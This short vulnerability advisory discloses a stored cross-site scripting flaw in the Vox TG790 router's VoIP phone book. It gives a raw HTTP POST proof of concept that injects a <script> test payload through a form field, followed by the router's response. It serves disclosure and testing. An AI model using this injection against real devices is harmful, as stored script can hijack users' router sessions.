Vox TG790 ADSL Router – Cross-Site Scripting
# Title: Vox TG790 ADSL Router - Cross-Site Scripting # Author: Cakes # Exploit Date: 2018-08-01 # Vendor: Vox Telecom # Link: https://www.vox.co.za/ # Firmware Version: 6.2.W.1 # CVE: N/A # Description # Due to improper user iunput management low privilege users are able to create # a persistent Cross-Site scripting attack via the phone book function. # PoC POST /cgi/b/_voip_/phonebook/?be=0&l0=2&l1=1&name= HTTP/1.1 Host: 192.168.1.254 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Referer: https://192.168.1.254/cgi/b/_voip_/pb/?be=0&l0=2&l1=1&name= Authorization: Digest username="cakes", realm="SpeedTouch", nonce="0745EHNLF:00-1D-68-52-6C-37:173934:292999", uri="/cgi/b/_voip_/phonebook/?be=0&l0=2&l1=1&name=", response="ab09b54d4b6369496463eb79cfb4b1c2", qop=auth, nc=0000002a, cnonce="8305e26a71dd0ae2" Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 141 0=10&1=&100=Cakes&101=Cakes&102=123123&103=123123123&104=123123&105=123123&106=<script>altert("TESTER");</script> # Response HTTP/1.0 200 OK Cache-Control: no-cache Expires: -1 Content-Type: text/html |